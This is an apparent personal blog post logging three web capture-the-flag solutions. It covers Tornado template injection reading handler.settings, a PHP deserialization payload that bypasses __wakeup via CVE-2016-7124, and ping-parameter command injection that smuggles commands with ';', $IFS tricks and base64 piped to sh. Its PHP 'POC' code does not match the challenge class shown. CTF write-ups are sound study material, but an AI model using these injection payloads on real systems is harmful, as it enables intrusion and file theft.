CTF打卡~Day18

发布于 2020-05-06  716 次阅读


hhh今天干了比较多别的事情,然后晚上还打了会ISCC2020,一口气干了三题web,但是比赛还没有结束,就不把wp写在这了

[护网杯 2018]easy_tornado

这题是报错那边可以使用模板注入。输入{{1}}会回显1,但是却不支持运算。

这题关键还是{{handler.settings}}

https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

这个东西就类似于环境变量,于是cookie.secret就是可以在这里找到。

[极客大挑战 2019]PHP

提示备份网站,于是尝试下载www.zip,可以直接下载。

重点在class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

是我们的老朋友,反序列化。

先上POC:

<?php
class baby
{
    public $file="flag.php";
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
$a = new baby();
echo serialize($a);

为了绕过万恶的__wakeup() 我们可以利用 CVE-2016-7124 , 当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

另外由于private变量在序列化的时候会先生成一个不可见也不可在URL中传递的\0,我们需要手动把那几个空换成%00,变成O:4:"Name":3:{s:15:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 就可以了

[GXYCTF2019]Ping Ping Ping

本来以为是和之前一题ping的一样,但是发现这一题有更严格的过滤,空格、引号、括号都不能用。

但是仍然能用变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

过滤bash用sh执行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`

https://www.cnblogs.com/wangtanzhi/p/12246386.html

https://www.cnblogs.com/-chenxs/p/11978488.html


等风来,不如追风去。